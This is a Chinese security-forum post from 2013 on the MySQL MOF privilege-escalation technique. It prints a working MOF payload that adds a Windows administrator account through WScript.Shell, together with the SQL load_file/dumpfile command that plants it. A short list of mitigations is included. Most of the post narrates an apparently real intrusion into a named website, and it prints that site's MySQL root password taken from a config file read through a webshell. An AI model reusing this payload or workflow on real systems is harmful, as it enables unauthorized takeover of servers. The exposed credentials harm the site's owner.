找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2500|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法
" M* @! ^7 b5 b( |) M: D& X. Y3 H: k- I
网上公开的一些利用代码:
9 N: g+ p- P. |- }, V, v1 h6 W/ F0 _' N% P- O3 e" a6 s
#pragma namespace(“\\\\.\\root\\subscription”)4 R4 y7 B+ h# L% A

& x+ ?$ s: P$ {, a* |- ninstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
7 c' u% `( C) X: e$ a$ g% e0 n2 T6 ^8 f$ k+ B+ Q8 t8 m

5 n! Q& A' i$ _4 }
1 f$ d5 s) m9 u" v- q% k
$ c' ]# O, M3 ~% S) \, ~
. ~+ _: g6 K) g' V连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;8 U6 L, `2 z% r( @" T4 w
从上面代码来看得出解决办法:
' `% G/ b2 z7 J, D! X
  E7 l) W0 [8 T# c. a- y1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数, \& n- G7 g+ a

) e4 F9 b3 R% W+ M' @- Q0 q1 T8 A2、禁止使用”WScript.Shel”组件
) y% r+ @: K) N2 N; X9 q6 E% W5 j# x9 j7 v
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER- x9 @' L& {' j" O' `

! _/ Q% g- j+ S# f0 B当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下) [: X0 k/ |3 F6 P7 N
: F$ R0 Z7 G0 T5 P3 v' N* C7 q/ L/ I, S7 K
事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
" r% M# G: @# {6 G4 b6 k" J: V  t& u5 _+ K
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
) m- `  l8 r5 T- X$ a: O
9 Z+ W& D  _( j  V, b. x看懂了后就开始练手吧
' |; B' x: ]0 U  |/ R+ E( `
' ~4 Q" \* A2 {! u9 H# }* nhttp://www.webbmw.com/config/config_ucenter.php 一句话 a" U1 R- h  z% X. x$ }- K# Q( u5 W! t
( q' c6 l0 \( Q% F" H% R
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
' P5 D, O; j" N6 n' U5 z. y# f% |! v0 G5 |3 s! A0 U
于是直接用菜刀开搞" ]2 ~! m. o# J: y3 O5 p

  ^! a$ V9 N7 M# q, r6 h上马先1 T/ s, |8 `, w5 V; e
0 F; k! s; p8 e/ O9 \! {
既然有了那些账号 之类的 于是我们就执行吧…….+ d: ^2 H/ j- T+ y
0 x% S4 s- e$ H# F; y
小小的说下" ]6 y0 N0 Q1 `+ J; r& a6 m6 W; H

8 f9 E' H5 T" q7 o在这里第1次执行未成功        原因未知& T! p/ {9 a, r! p% b7 X

$ j) T* a6 P$ t% X& b我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。: _. @3 G) p) f6 A6 N: ]! B

6 w& V$ H( T* I" K& N& g8 v#pragma namespace(“\\\\.\\root\\subscription”)
& k' q2 t- X+ _) ]# ~: H6 ^* P( G* W5 Y
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };+ V. T$ y% w, A' l5 ]4 I7 d
" l; o0 w/ H) k0 i
我是将文件放到C:\WINDOWS\temp\1.mof
" q0 W2 s# s7 s) c% L+ s7 G1 ]2 N1 u
* V# O% G" y1 b$ w. N3 ?所以我们就改下执行的代码
: w6 K  T: {$ u2 M' V) C! F. I8 @; @+ d% Z  b3 n
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
5 g( |, ]" W$ s& F& s
9 F4 q6 T$ }' B/ @, |( ~% Z. D7 W2 a; Y$ L- k

. `" S, ~. I  L4 P, T1 G: r但是 你会发现账号还是没有躺在那里。。7 M# M& e/ M1 Q; A
; J( j4 z  X# K7 V1 v# m: h8 @
于是我就感觉蛋疼
& l( T* E) \, @: w% `- Z0 h) B1 K$ e' s" x" A9 p: B
就去一个一个去执行 但是执行到第2个 mysql时就成功了………! a5 \! Q4 z" a
$ V5 z4 M% s: D5 k  j! B( X& Y* B

5 D) p# J& U3 Q, G! B8 c" N6 e& T( P* L* S2 E& U
但是其他库均不成功…, }! N" F' S4 y! t" k. e5 l

/ }3 F* S' r& g我就很费解呀 到底为什么不成功求大牛解答…
+ Q5 Y5 Q+ `/ W1 B: c1 j
* }" Z. j& V; s/ x​
/ F6 [9 @) H+ H
- N, ?  A" Z) [, O$ t7 f$ O$ C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表